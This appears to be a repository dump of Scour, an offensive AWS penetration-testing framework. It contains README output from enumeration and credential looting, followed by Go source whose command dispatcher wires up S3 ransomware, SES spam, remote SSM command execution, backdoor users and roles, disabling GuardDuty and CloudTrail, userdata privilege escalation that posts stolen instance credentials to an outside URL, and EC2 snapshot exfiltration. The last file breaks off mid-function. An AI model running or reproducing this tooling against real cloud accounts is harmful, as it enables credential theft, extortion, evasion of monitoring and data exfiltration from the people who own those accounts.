Amazon_CodeBuild_dW6zqYHT3m | AWS | [arn:aws:iam::861******:root | true | 101 | | | | codebuild.amazonaws.com] | | 102 | | Amazon_CodeBuild_f2DOFPjMHK | Service | [codebuild.amazonaws.com] | true | 103 | | Amazon_CodeBuild_HS59ko7lxn | Service | [codebuild.amazonaws.com] | true | 104 | +------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+ 105 | ``` 106 | * `Connected attack enum EC2` EC2 discovery 107 | ``` 108 | UA Tracking: exec-env/EVSWAyidC4/dudqW7y1xb/ec2-enum 109 | +---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+ 110 | | INSTANCEID | INSTANCE PROFILE | VPC | PUBLICIP | PRIVATEIP | SECURITY GROUPS | PORTS | STATE | ISPRIVILEGED | ISPUBLIC | 111 | +---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+ 112 | | i-0f5604708c0b51429 | None | vpc-7e830c1a | None | 172.31.53.199 | sg-09fcd28717cf4f512 | 80* | stopped | false | true | 113 | | | | | | | | 22* | | | | 114 | | | | | | | | 5000* | | | | 115 | | i-03657fe3b9decdf51 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None | 172.31.45.96 | sg-61b1fd07 | All* | stopped | true | true | 116 | | | | | | | | 8888* | | | | 117 | | i-01b265a5fdc45df57 | None | vpc-7e830c1a | None | 172.31.38.118 | sg-0392f752f9b849d3f | 3389* | stopped | false | true | 118 | | i-0867709d6c0be74d9 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None | 172.31.39.199 | sg-006543a34d2f70028 | 22* | stopped | true | true | 119 | | i-0d95790b5e7ddff23 | None | vpc-7e830c1a | None | 172.31.12.57 | sg-e1a50dac | 33391* | stopped | false | true | 120 | +---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+ 121 | ``` 122 | * `Connected attack enum S3` S3 discovery 123 | ``` 124 | UA Tracking: exec-env/EVSWAyidC4/GDGZaYQOuo/s3-enum 125 | +-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+ 126 | | BUCKET | HASPOLICY | ISWEBSITE | ALLOW PUBLIC | PERMISSIONS | ALLOW AUTHENTICATED | PERMISSIONS | REPLICATION | REGION | 127 | +-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+ 128 | | amazon-conn********3d79b01a | false | false | false | | false | | false | us-west-2 | 129 | | aws-cloudtrail-logs-**********98-cb39df0d | true | false | false | | false | | false | | 130 | | bullsecu********* | true | true | false | | false | | false | | 131 | | connect-6ec*****ad67 | false | false | false | | false | | false | | 132 | | connect-******5337c3 | false | false | false | | false | | false | | 133 | | ransom******** | true | false | false | | false | | false | | 134 | | red******** | false | false | false | | false | | false | | 135 | | rep-***** | false | false | false | | false | | false | us-west-2 | 136 | | terraform******* | false | false | false | | false | | false | | 137 | +-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+ 138 | ``` 139 | * `Connected attack enum Groups` Groups discovery 140 | ``` 141 | UA Tracking: exec-env/EVSWAyidC4/jAIKVdESpU/groups-enum 142 | +-----------------------------------------------+---------------------+--------------+-----------------+--------------+ 143 | | GROUP | POLICIES | ISPRIVILEGED | INLINE POLICIES | ISPRIVILEGED | 144 | +-----------------------------------------------+---------------------+--------------+-----------------+--------------+ 145 | | EC2 | SecurityAudit | false | | false | 146 | | OpsWorks-dac9e9ba-8b3d-4e04-9ad9-d988ca4c0731 | | false | | false | 147 | | TestGroup | AmazonEC2FullAccess | true | | false | 148 | | | SecurityAudit | | | | 149 | +-----------------------------------------------+---------------------+--------------+-----------------+--------------+ 150 | ``` 151 | * `Connected attack enum Network` Network discovery 152 | ``` 153 | TBD 154 | ``` 155 | 156 | ## PrivilegeEscalation 157 | ![](https://github.com/grines/scour/blob/main/scour-privesc.gif) 158 | * `Connected attack privesc UserData i-0f5604708c0b51429 http://url.to.capture.post.data` steal metadata credentials from EC2. Stop instance / Update userdata to post credentials to supplied url / Start instance (sends EC2 token to URL.) 159 | ``` 160 | [Sun May 9 06:10:16 2021] INF Stopping Instance i-0f5604708c0b51429 - State: stopped 161 | [Sun May 9 06:10:46 2021] INF Modifying Instance Attribute UserData on i-0f5604708c0b51429 162 | [Sun May 9 06:10:47 2021] INF Starting Instance i-0f5604708c0b51429 - State: pending 163 | ``` 164 | 165 | ## CredentialDiscovery 166 | ![](https://github.com/grines/scour/blob/main/scour-creds.gif) 167 | * `Connected attack creds UserData` loot credentials from EC2 userdata 168 | ``` 169 | UA Tracking: exec-env/yzaqX9HFvP/oL1oho99ZP/userdata-creds 170 | +---------------------+------------------+-------------------------------------------------------------------------------+ 171 | | INSTANCEID | RULE | FINDING | 172 | +---------------------+------------------+-------------------------------------------------------------------------------+ 173 | | i-0f5604708c0b51429 | Slack Webhook | https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX | 174 | | i-0f5604708c0b51429 | Generic Password | password=thisisapassword | 175 | +---------------------+------------------+-------------------------------------------------------------------------------+ 176 | ``` 177 | * `Connected attack creds SSM` loot credentials from Systems Manager 178 | ``` 179 | UA Tracking: exec-env/yzaqX9HFvP/FASongUCcG/ssm-params-creds 180 | +------------+----------+----------------------+ 181 | | PARAM NAME | DATATYPE | VALUE | 182 | +------------+----------+----------------------+ 183 | | Test | text | thismightbeapassword | 184 | +------------+----------+----------------------+ 185 | ``` 186 | * `Connected attack creds ECS` loot credentials from ECS 187 | ``` 188 | UA Tracking: exec-env/9tsJFrIPmw/rEGaMfF5AI/ecs-creds 189 | +-------------+-------+------------+ 190 | | ENVARS NAME | VALUE | DEFINITION | 191 | +-------------+-------+------------+ 192 | | Secret | heere | sample-app | 193 | +-------------+-------+------------+ 194 | ``` 195 | ## Disclaimers, and the AWS Acceptable Use Policy 196 | 197 | * To the best of our knowledge Scour's capabilities are compliant with the AWS Acceptable Use Policy, but as a flexible and modular tool, we cannot guarantee this will be true in every situation. It is entirely your responsibility to ensure that how you use Scour is compliant with the AWS Acceptable Use Policy. 198 | * Depending on what AWS services you use and what your planned testing entails, you may need to [request authorization from Amazon](https://aws.amazon.com/security/penetration-testing/) before actually running Scour against your infrastructure. Determining whether or not such authorization is necessary is your responsibility. 199 | * As with any penetration testing tool, it is your responsibility to get proper authorization before using Scour outside of your environment. 200 | * Scour is software that comes with absolutely no warranties whatsoever. By using Scour, you take full responsibility for any and all outcomes that result. 201 | -------------------------------------------------------------------------------- /pkg/completion/commands.go: -------------------------------------------------------------------------------- 1 | package completion 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | "io/ioutil" 8 | "net/url" 9 | "os" 10 | "regexp" 11 | "strings" 12 | "time" 13 | 14 | "github.com/aws/aws-sdk-go/aws" 15 | "github.com/drk1wi/Modlishka/log" 16 | "github.com/grines/scour/pkg/awsdata" 17 | ) 18 | 19 | func Commands(line string, t string) { 20 | switch { 21 | 22 | //Default Provier (ec2/env/profiles). 23 | case strings.HasPrefix(line, "token DefaultProvider"): 24 | help := HelpText("token DefaultProvider region", "Assume role", "enabled") 25 | parse := ParseCMD(line, 3, help) 26 | if parse != nil { 27 | region = parse[2] 28 | target = "default" 29 | 30 | sess = UseDefaultCredentials(region) 31 | } 32 | 33 | //Load aws profile from .aws/credentials 34 | case strings.HasPrefix(line, "token profile"): 35 | help := HelpText("profile ec2user us-east-1", "Profile is used to load a profile from ~/.aws/credentials.", "enabled") 36 | parse := ParseCMD(line, 4, help) 37 | if parse != nil { 38 | target = parse[2] 39 | region = parse[3] 40 | sess = getProfile(target, region) 41 | } 42 | 43 | //GetSessionToken for current user 44 | case strings.HasPrefix(line, "token GetSessionToken") && connected == true: 45 | help := HelpText("token GetSessionToken us-east-1", "GetSessionToken for user", "disabled") 46 | parse := ParseCMD(line, 3, help) 47 | if parse != nil { 48 | region = parse[2] 49 | token := awsdata.GetSessionToken(sess) 50 | if token != nil { 51 | sess = stsSession(*token.Credentials.AccessKeyId, *token.Credentials.SecretAccessKey, *token.Credentials.SessionToken, region) 52 | } 53 | } 54 | 55 | //AssumeRole from current user. 56 | case strings.HasPrefix(line, "token AssumeRole") && connected == true: 57 | help := HelpText("token AssumeRole role-arn region", "Assume role", "enabled") 58 | parse := ParseCMD(line, 4, help) 59 | if parse != nil { 60 | arn := parse[2] 61 | region = parse[3] 62 | 63 | sess = assumeRole(arn, region) 64 | if sess != nil { 65 | target = arn 66 | } 67 | } 68 | 69 | //Assume raw json as credentials. (json format) 70 | case strings.HasPrefix(line, "token AssumeRaw"): 71 | help := HelpText("token AssumeRaw us-east-1 ''", "Use credentials from cli/metadata output.", "enabled") 72 | parse := ParseCMD(line, 26, help) 73 | if parse != nil { 74 | r := regexp.MustCompile(`[^\s"']+|"([^"]*)"|'([^']*)`) 75 | parts := r.FindAllStringSubmatch(line, -1) 76 | region = parts[2][0] 77 | json := parts[3][2] 78 | sess = assumeRaw(region, json) 79 | } 80 | 81 | //GetSessionToken or whoami 82 | case strings.HasPrefix(line, "aws iam get-session-token") && connected == true: 83 | help := HelpText("aws iam get-session-token", "GetSessionToken returns current token details.", "enabled") 84 | parse := ParseCMD(line, 3, help) 85 | if parse != nil { 86 | awsdata.GetCallerIdentity(sess) 87 | } 88 | 89 | case strings.HasPrefix(line, "get user") && connected == true: 90 | help := HelpText("get user username", "Get details for single user.", "enabled") 91 | parse := ParseCMD(line, 3, help) 92 | if parse != nil { 93 | username := parse[2] 94 | awsdata.GetUser(sess, username) 95 | } 96 | 97 | case strings.HasPrefix(line, "get instance-profile") && connected == true: 98 | help := HelpText("get instance-profile name", "Return details about an instance profile.", "enabled") 99 | parse := ParseCMD(line, 3, help) 100 | if parse != nil { 101 | parts := strings.Split(line, " ") 102 | profile := parts[2] 103 | awsdata.GetInstanceProfile(sess, profile, false) 104 | } 105 | 106 | case strings.HasPrefix(line, "get policy") && connected == true: 107 | help := HelpText("get policy arn", "View json policy.", "enabled") 108 | parse := ParseCMD(line, 3, help) 109 | if parse != nil { 110 | arn := parse[2] 111 | json := awsdata.GetPolicyVersion(sess, arn) 112 | fmt.Println(json) 113 | } 114 | 115 | case strings.HasPrefix(line, "get s3-policy ") && connected == true: 116 | parts := strings.Split(line, " ") 117 | bucket := parts[2] 118 | policy := awsdata.GetBucketPolicy(sess, bucket) 119 | if policy != nil { 120 | decodedValue, _ := url.QueryUnescape(aws.StringValue(policy.Policy)) 121 | 122 | var prettyJSON bytes.Buffer 123 | error := json.Indent(&prettyJSON, []byte(decodedValue), "", "\t") 124 | if error != nil { 125 | log.Infof("JSON parse error: ", error) 126 | return 127 | } 128 | 129 | fmt.Println(string(prettyJSON.Bytes())) 130 | } 131 | 132 | case strings.HasPrefix(line, "get s3-acl ") && connected == true: 133 | parts := strings.Split(line, " ") 134 | bucket := parts[2] 135 | policy := awsdata.GetBucketACL(sess, bucket) 136 | if policy != nil { 137 | fmt.Println(policy) 138 | } 139 | 140 | case strings.HasPrefix(line, "get user-policy ") && connected == true: 141 | parts := strings.Split(line, " ") 142 | user := parts[2] 143 | policy := parts[3] 144 | json := awsdata.GetUserPolicy(sess, user, policy) 145 | status := awsdata.AnalyzePolicy(json) 146 | fmt.Printf("Privileged: %v\n", status) 147 | 148 | case strings.HasPrefix(line, "analyzer roles") && connected == true: 149 | awsdata.AnalyzeRoleTrustRelationships(sess) 150 | 151 | //Operations S3ransomware / Cryptomining 152 | case strings.HasPrefix(line, "attack operations s3-ransom") && connected == true: 153 | parts := strings.Split(line, " ") 154 | bucket := parts[3] 155 | kmsArn := parts[4] 156 | awsdata.S3RansomWare(sess, bucket, kmsArn) 157 | case strings.HasPrefix(line, "attack operations ses-spam") && connected == true: 158 | parts := strings.Split(line, " ") 159 | account := parts[3] 160 | to := parts[4] 161 | from := parts[5] 162 | subject := parts[6] 163 | body := parts[7] 164 | count := 10 165 | awsdata.SESSpam(sess, account, from, to, subject, body, count) 166 | 167 | //Execution of commands 168 | case strings.HasPrefix(line, "attack execute ssm-command") && connected == true: 169 | s := line 170 | r := regexp.MustCompile(`[^\s"']+|"([^"]*)"|'([^']*)`) 171 | parts := r.FindAllString(s, -1) 172 | if len(parts) != 5 || strings.Contains(line, "help") { 173 | fmt.Println("Example: execute ssm-comand i-i00000000 \"cat /etc/passwd\"") 174 | fmt.Println("Execution module will run the supplied command on the given instance using SSM command execution.") 175 | break 176 | } 177 | instance := parts[3] 178 | cmd := parts[4] 179 | cmdid := awsdata.SendCommand(sess, instance, cmd) 180 | if cmdid != "" { 181 | time.Sleep(5 * time.Second) 182 | awsdata.GetCommandInvocation(sess, instance, cmdid) 183 | } 184 | 185 | //Persistence operations 186 | case strings.HasPrefix(line, "attack persist AccessKey") && connected == true: 187 | parts := strings.Split(line, " ") 188 | if len(parts) != 4 || strings.Contains(line, "help") { 189 | fmt.Println("Required: persist Accesskey username") 190 | break 191 | } 192 | username := parts[3] 193 | awsdata.PersistAccessKey(sess, username) 194 | 195 | case strings.HasPrefix(line, "attack persist EC2") && connected == true: 196 | parts := strings.Split(line, " ") 197 | payloadurl := parts[4] 198 | ami := parts[3] 199 | awsdata.PersistEC2(sess, ami, payloadurl) 200 | 201 | case strings.HasPrefix(line, "attack persist Role") && connected == true: 202 | parts := strings.Split(line, " ") 203 | role := parts[3] 204 | crossArn := parts[4] 205 | awsdata.PersistUpdateAssumeRole(sess, role, crossArn, t) 206 | os.Setenv("AWS_EXECUTION_ENV", t) 207 | 208 | case strings.HasPrefix(line, "attack persist SSM") && connected == true: 209 | parts := strings.Split(line, " ") 210 | ami := parts[3] 211 | awsdata.PersistSSM(sess, ami) 212 | 213 | case strings.HasPrefix(line, "attack persist CrossAccount") && connected == true: 214 | parts := strings.Split(line, " ") 215 | account := parts[3] 216 | awsdata.PersistCrossAccountRole(sess, account) 217 | case strings.HasPrefix(line, "attack persist CodeBuild") && connected == true: 218 | parts := strings.Split(line, " ") 219 | url := parts[3] 220 | awsdata.PersistCodeBuild(sess, url) 221 | case strings.HasPrefix(line, "attack persist CreateUser") && connected == true: 222 | parts := strings.Split(line, " ") 223 | username := parts[3] 224 | awsdata.PersistCreateUser(sess, username) 225 | 226 | //Defense Evasion 227 | case strings.HasPrefix(line, "attack evasion KillGuardDuty") && connected == true: 228 | awsdata.KillGuardDuty(sess, t) 229 | os.Setenv("AWS_EXECUTION_ENV", t) 230 | case strings.HasPrefix(line, "attack evasion UpdateGuardDuty") && connected == true: 231 | awsdata.DisableGuardDuty(sess, t) 232 | os.Setenv("AWS_EXECUTION_ENV", t) 233 | case strings.HasPrefix(line, "attack evasion TrustIPGuardDuty") && connected == true: 234 | parts := strings.Split(line, " ") 235 | location := parts[3] 236 | awsdata.TrustIPGuardDuty(sess, location, t) 237 | os.Setenv("AWS_EXECUTION_ENV", t) 238 | case strings.HasPrefix(line, "attack evasion KillCloudTrail") && connected == true: 239 | parts := strings.Split(line, " ") 240 | trail := parts[3] 241 | awsdata.KillCloudTrail(sess, trail, t) 242 | os.Setenv("AWS_EXECUTION_ENV", t) 243 | case strings.HasPrefix(line, "attack evasion StopCloudTrail") && connected == true: 244 | parts := strings.Split(line, " ") 245 | trail := parts[3] 246 | awsdata.StopCloudTrail(sess, trail, t) 247 | os.Setenv("AWS_EXECUTION_ENV", t) 248 | 249 | //Privesc Operations 250 | case strings.HasPrefix(line, "attack privesc UserData") && connected == true: 251 | parts := strings.Split(line, " ") 252 | payload := parts[3] 253 | instance := parts[4] 254 | awsdata.PrivescUserdata(sess, payload, instance) 255 | case strings.HasPrefix(line, "attack privesc CreateLoginProfile") && connected == true: 256 | help := HelpText("attack privesc CreateLoginProfile bob", "Adds login profile to user", "enabled") 257 | parse := ParseCMD(line, 4, help) 258 | if parse != nil { 259 | username := parse[3] 260 | awsdata.PrivescCreateLoginProfile(sess, username, t) 261 | os.Setenv("AWS_EXECUTION_ENV", t) 262 | } 263 | 264 | //List operations 265 | case strings.HasPrefix(line, "aws ssm list-parameters") && connected == true: 266 | awsdata.DescribeParameters(sess) 267 | case strings.HasPrefix(line, "aws iam list-users") && connected == true: 268 | awsdata.ListUsers(sess, false) 269 | case strings.HasPrefix(line, "aws s3 list-buckets") && connected == true: 270 | awsdata.ListBuckets(sess, false) 271 | case strings.HasPrefix(line, "aws iam list-groups") && connected == true: 272 | awsdata.ListGroups(sess, false) 273 | case strings.HasPrefix(line, "aws ecs list-ecs-task-definitions") && connected == true: 274 | awsdata.ListTaskDefinitions(sess) 275 | case strings.HasPrefix(line, "aws iam list-groups-for-user ") && connected == true: 276 | parts := strings.Split(line, " ") 277 | username := parts[2] 278 | awsdata.ListGroupsForUser(sess, username) 279 | case strings.HasPrefix(line, "aws iam list-roles") && connected == true: 280 | awsdata.ListRoles(sess, false) 281 | case strings.HasPrefix(line, "aws iam list-policies") && connected == true: 282 | awsdata.ListPolicies(sess) 283 | 284 | //Create operations 285 | case strings.HasPrefix(line, "aws iam create-user") && connected == true: 286 | help := HelpText("aws iam create-user bob", "Creates a new IAM user", "enabled") 287 | parse := ParseCMD(line, 4, help) 288 | if parse != nil { 289 | username := parse[3] 290 | user := awsdata.CreateUser(sess, username) 291 | if user { 292 | log.Infof("Created user %v.", username) 293 | } else { 294 | log.Errorf("Failed to create user %v.", username) 295 | } 296 | } 297 | case strings.HasPrefix(line, "aws iam create-login-profile") && connected == true: 298 | help := HelpText("aws iam create-login-profile bob", "Adds login profile to user", "enabled") 299 | parse := ParseCMD(line, 4, help) 300 | if parse != nil { 301 | username := parse[3] 302 | awsdata.CreateLoginProfile(sess, username) 303 | } 304 | case strings.HasPrefix(line, "aws iam create-role") && connected == true: 305 | var policy string 306 | help := HelpText("aws iam create-role aws/service accountid/ec2.amazonaws.com", "Updates trust policy of an existing role", "enabled") 307 | parse := ParseCMD(line, 5, help) 308 | if parse != nil { 309 | fmt.Println(parse[2]) 310 | if parse[2] == "aws" { 311 | policy = awsdata.TrustPolicyAWS(parse[3]) 312 | } 313 | if parse[2] == "service" { 314 | policy = awsdata.TrustPolicyService(parse[3]) 315 | } 316 | rolename := parse[4] 317 | awsdata.CreateRole(sess, rolename, policy) 318 | } 319 | case strings.HasPrefix(line, "aws iam create-policy") && connected == true: 320 | policy := `{ 321 | "Version": "2012-10-17", 322 | "Statement": [ 323 | { 324 | "Effect": "Allow", 325 | "Action": "*", 326 | "Resource": "*" 327 | } 328 | ] 329 | }` 330 | help := HelpText("aws iam create-policy SuperAdmin", "Creates a new policy", "enabled") 331 | parse := ParseCMD(line, 3, help) 332 | if parse != nil { 333 | policyname := parse[2] 334 | awsdata.CreatePolicy(sess, policyname, policy) 335 | } 336 | case strings.HasPrefix(line, "aws iam attach-trust-policy") && connected == true: 337 | var policy string 338 | help := HelpText("aws iam attach-trust-policy aws/service accountid/ec2.amazonaws.com", "Updates trust policy of an existing role", "enabled") 339 | parse := ParseCMD(line, 5, help) 340 | if parse != nil { 341 | if parse[2] == "aws" { 342 | policy = awsdata.TrustPolicyAWS(parse[3]) 343 | } 344 | if parse[2] == "service" { 345 | policy = awsdata.TrustPolicyService(parse[3]) 346 | } 347 | rolename := parse[4] 348 | awsdata.UpdateAssumeRolePolicy(sess, rolename, policy) 349 | } 350 | 351 | //Create operations 352 | case strings.HasPrefix(line, "aws iam attach-user-policy") && connected == true: 353 | help := HelpText("attach user-policy bob arn", "Attaches managed policy to a user.", "enabled") 354 | parse := ParseCMD(line, 4, help) 355 | if parse != nil { 356 | username := parse[2] 357 | arn := parse[3] 358 | awsdata.AttachUserPolicy(sess, username, arn) 359 | } 360 | 361 | //Enumeration 362 | case strings.HasPrefix(line, "attack enum Role") && connected == true: 363 | awsdata.RoleEnumerate(sess, t) 364 | case strings.HasPrefix(line, "attack enum IAM") && connected == true: 365 | awsdata.IamEnumerate(sess, t) 366 | os.Setenv("AWS_EXECUTION_ENV", t) 367 | case strings.HasPrefix(line, "attack enum EC2") && connected == true: 368 | awsdata.EnumEC2(sess, t) 369 | os.Setenv("AWS_EXECUTION_ENV", t) 370 | case strings.HasPrefix(line, "attack enum S3") && connected == true: 371 | awsdata.EnumS3(sess, t) 372 | os.Setenv("AWS_EXECUTION_ENV", t) 373 | case strings.HasPrefix(line, "attack enum Groups") && connected == true: 374 | awsdata.GroupsEnumerate(sess, t) 375 | os.Setenv("AWS_EXECUTION_ENV", t) 376 | case strings.HasPrefix(line, "attack enum LateralNetwork") && connected == true: 377 | awsdata.EnumLateralNetwork(sess, t) 378 | os.Setenv("AWS_EXECUTION_ENV", t) 379 | case strings.HasPrefix(line, "attack enum Organizations") && connected == true: 380 | awsdata.EnumOrg(sess, t) 381 | os.Setenv("AWS_EXECUTION_ENV", t) 382 | case strings.HasPrefix(line, "attack enum UserGroup") && connected == true: 383 | awsdata.UserGroupEnumerate(sess, t) 384 | os.Setenv("AWS_EXECUTION_ENV", t) 385 | 386 | //Lateral Movement 387 | case strings.HasPrefix(line, "attack lateral CrossAccount") && connected == true: 388 | awsdata.EnumCrossAccount(sess, t) 389 | os.Setenv("AWS_EXECUTION_ENV", t) 390 | case strings.HasPrefix(line, "attack lateral Console") && connected == true: 391 | parts := strings.Split(line, " ") 392 | user := parts[3] 393 | awsdata.LateralConsole(sess, user, t) 394 | os.Setenv("AWS_EXECUTION_ENV", t) 395 | 396 | //Credential Discovery 397 | case strings.HasPrefix(line, "attack creds UserData") && connected == true: 398 | awsdata.CredentialDiscoveryUserData(sess, t) 399 | os.Setenv("AWS_EXECUTION_ENV", t) 400 | case strings.HasPrefix(line, "attack creds SSM") && connected == true: 401 | awsdata.CredentialDiscoverySSMParams(sess, t) 402 | os.Setenv("AWS_EXECUTION_ENV", t) 403 | case strings.HasPrefix(line, "attack creds ECS") && connected == true: 404 | awsdata.CredentialDiscoveryECSEnv(sess, t) 405 | os.Setenv("AWS_EXECUTION_ENV", t) 406 | case strings.HasPrefix(line, "attack creds Lambda") && connected == true: 407 | awsdata.CredentialDiscoveryLambda(sess, t) 408 | os.Setenv("AWS_EXECUTION_ENV", t) 409 | 410 | //Exfil 411 | case strings.HasPrefix(line, "attack exfil ec2Snapshot") && connected == true: 412 | parts := strings.Split(line, " ") 413 | instanceid := parts[3] 414 | accountid := parts[4] 415 | awsdata.ExfilEC2Snapshot(sess, instanceid, accountid, t) 416 | os.Setenv("AWS_EXECUTION_ENV", t) 417 | 418 | //Show command history 419 | case line == "history": 420 | dat, err := ioutil.ReadFile("/tmp/readline.tmp") 421 | if err != nil { 422 | break 423 | } 424 | fmt.Print(string(dat)) 425 | 426 | //exit 427 | case line == "quit": 428 | connected = false 429 | 430 | //Default if no case 431 | default: 432 | cmdString := line 433 | if connected == false { 434 | fmt.Println("You are not connected to a profile.") 435 | } 436 | if cmdString == "exit" { 437 | os.Exit(1) 438 | } 439 | 440 | } 441 | } 442 | -------------------------------------------------------------------------------- /pkg/awsdata/iam.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net/url" 7 | "strconv" 8 | 9 | "github.com/aws/aws-sdk-go/aws" 10 | "github.com/aws/aws-sdk-go/aws/awserr" 11 | "github.com/aws/aws-sdk-go/aws/session" 12 | "github.com/aws/aws-sdk-go/service/ec2" 13 | "github.com/aws/aws-sdk-go/service/iam" 14 | "github.com/aws/aws-sdk-go/service/organizations" 15 | ) 16 | 17 | func ListUsers(sess *session.Session, hide bool) []string { 18 | data := [][]string{} 19 | var users []string 20 | 21 | // Create a IAM service client. 22 | svc := iam.New(sess) 23 | 24 | result, err := svc.ListUsers(&iam.ListUsersInput{ 25 | MaxItems: aws.Int64(10), 26 | }) 27 | 28 | if err != nil { 29 | fmt.Println("Error", err) 30 | return nil 31 | } 32 | 33 | for _, user := range result.Users { 34 | if user == nil { 35 | continue 36 | } 37 | //fmt.Printf("%d user %s created %v\n", i, *user.UserName, user.CreateDate) 38 | users = append(users, *user.UserName) 39 | row := []string{*user.UserName, user.CreateDate.String()} 40 | data = append(data, row) 41 | } 42 | header := []string{"UserName", "CreateDate"} 43 | if hide == false { 44 | tableData(data, header) 45 | } 46 | return users 47 | } 48 | 49 | func ListGroups(sess *session.Session, hide bool) *iam.ListGroupsOutput { 50 | data := [][]string{} 51 | var groups []string 52 | 53 | // Create a IAM service client. 54 | svc := iam.New(sess) 55 | 56 | result, err := svc.ListGroups(&iam.ListGroupsInput{ 57 | MaxItems: aws.Int64(100), 58 | }) 59 | 60 | if err != nil { 61 | fmt.Println("Error", err) 62 | return nil 63 | } 64 | 65 | for _, group := range result.Groups { 66 | if group == nil { 67 | continue 68 | } 69 | groups = append(groups, *group.GroupName) 70 | row := []string{*group.GroupName, group.CreateDate.String()} 71 | data = append(data, row) 72 | } 73 | header := []string{"GroupName", "CreateDate"} 74 | if hide == false { 75 | tableData(data, header) 76 | } 77 | return result 78 | } 79 | 80 | func ListRoles(sess *session.Session, hide bool) *iam.ListRolesOutput { 81 | data := [][]string{} 82 | var roles []string 83 | // Create a IAM service client. 84 | svc := iam.New(sess) 85 | 86 | result, err := svc.ListRoles(&iam.ListRolesInput{ 87 | MaxItems: aws.Int64(100), 88 | }) 89 | 90 | if err != nil { 91 | fmt.Println("Error", err) 92 | return nil 93 | } 94 | 95 | if hide == false { 96 | for _, role := range result.Roles { 97 | if role == nil { 98 | continue 99 | } 100 | roles = append(roles, *role.RoleName) 101 | row := []string{*role.RoleName, *role.Arn, role.CreateDate.String()} 102 | data = append(data, row) 103 | } 104 | } 105 | header := []string{"RoleName", "RoleARN", "CreateDate"} 106 | if hide == false { 107 | tableData(data, header) 108 | } 109 | return result 110 | } 111 | 112 | func ListGroupsForUser(sess *session.Session, username string) []*iam.Group { 113 | 114 | // Create a IAM service client. 115 | svc := iam.New(sess) 116 | 117 | result, err := svc.ListGroupsForUser(&iam.ListGroupsForUserInput{ 118 | UserName: aws.String(username), 119 | }) 120 | 121 | if err != nil { 122 | fmt.Println("Error", err) 123 | return nil 124 | } 125 | 126 | for _, group := range result.Groups { 127 | if group == nil { 128 | continue 129 | } 130 | //fmt.Printf("%d role %s created %v\n", i, *group.Arn, group.CreateDate) 131 | } 132 | return result.Groups 133 | } 134 | 135 | func ListPolicies(sess *session.Session) { 136 | data := [][]string{} 137 | var policies []string 138 | 139 | // Create a IAM service client. 140 | svc := iam.New(sess) 141 | 142 | result, err := svc.ListPolicies(&iam.ListPoliciesInput{ 143 | MaxItems: aws.Int64(1000), 144 | OnlyAttached: aws.Bool(true), 145 | }) 146 | 147 | if err != nil { 148 | fmt.Println("Error", err) 149 | return 150 | } 151 | 152 | for _, policy := range result.Policies { 153 | if policy == nil { 154 | continue 155 | } 156 | policies = append(policies, *policy.Arn) 157 | n := *policy.AttachmentCount 158 | count := strconv.FormatInt(n, 10) 159 | row := []string{*policy.PolicyName, *policy.Arn, count} 160 | data = append(data, row) 161 | } 162 | header := []string{"Policy Name", "Arn", "Attachment Count"} 163 | tableData(data, header) 164 | } 165 | 166 | func ListAttachedGroupPolicies(sess *session.Session, groupname string) []*iam.AttachedPolicy { 167 | 168 | // Create a IAM service client. 169 | svc := iam.New(sess) 170 | 171 | result, err := svc.ListAttachedGroupPolicies(&iam.ListAttachedGroupPoliciesInput{ 172 | GroupName: aws.String(groupname), 173 | }) 174 | 175 | if err != nil { 176 | fmt.Println("Error", err) 177 | return nil 178 | } 179 | 180 | return result.AttachedPolicies 181 | } 182 | 183 | func ListAttachedRolePolicies(sess *session.Session, rolename string) []*iam.AttachedPolicy { 184 | 185 | // Create a IAM service client. 186 | svc := iam.New(sess) 187 | 188 | result, err := svc.ListAttachedRolePolicies(&iam.ListAttachedRolePoliciesInput{ 189 | RoleName: aws.String(rolename), 190 | }) 191 | 192 | if err != nil { 193 | fmt.Println("Error", err) 194 | return nil 195 | } 196 | 197 | //for i, role := range result.AttachedPolicies { 198 | // if role == nil { 199 | // continue 200 | // } 201 | // fmt.Printf("%d policy %s name %v\n", i, *role.PolicyArn, role.PolicyName) 202 | //} 203 | return result.AttachedPolicies 204 | } 205 | 206 | func ListUserPolicies(sess *session.Session, username string) *iam.ListUserPoliciesOutput { 207 | 208 | // Create a IAM service client. 209 | svc := iam.New(sess) 210 | 211 | result, err := svc.ListUserPolicies(&iam.ListUserPoliciesInput{ 212 | UserName: aws.String(username), 213 | }) 214 | 215 | if err != nil { 216 | fmt.Println("Error", err) 217 | return nil 218 | } 219 | 220 | return result 221 | } 222 | 223 | func ListGroupPolicies(sess *session.Session, group string) *iam.ListGroupPoliciesOutput { 224 | 225 | // Create a IAM service client. 226 | svc := iam.New(sess) 227 | 228 | result, err := svc.ListGroupPolicies(&iam.ListGroupPoliciesInput{ 229 | GroupName: aws.String(group), 230 | }) 231 | 232 | if err != nil { 233 | fmt.Println("Error", err) 234 | return nil 235 | } 236 | 237 | //for i, policy := range result.PolicyNames { 238 | // if policy == nil { 239 | // continue 240 | // } 241 | // fmt.Printf("%d policy %v\n", i, *policy) 242 | //} 243 | return result 244 | } 245 | 246 | func GetUser(sess *session.Session, username string) { 247 | svc := iam.New(sess) 248 | input := &iam.GetUserInput{ 249 | UserName: aws.String(username), 250 | } 251 | 252 | result, err := svc.GetUser(input) 253 | if err != nil { 254 | if aerr, ok := err.(awserr.Error); ok { 255 | switch aerr.Code() { 256 | case iam.ErrCodeNoSuchEntityException: 257 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 258 | case iam.ErrCodeServiceFailureException: 259 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 260 | default: 261 | fmt.Println(aerr.Error()) 262 | } 263 | } else { 264 | // Print the error, cast err to awserr.Error to get the Code and 265 | // 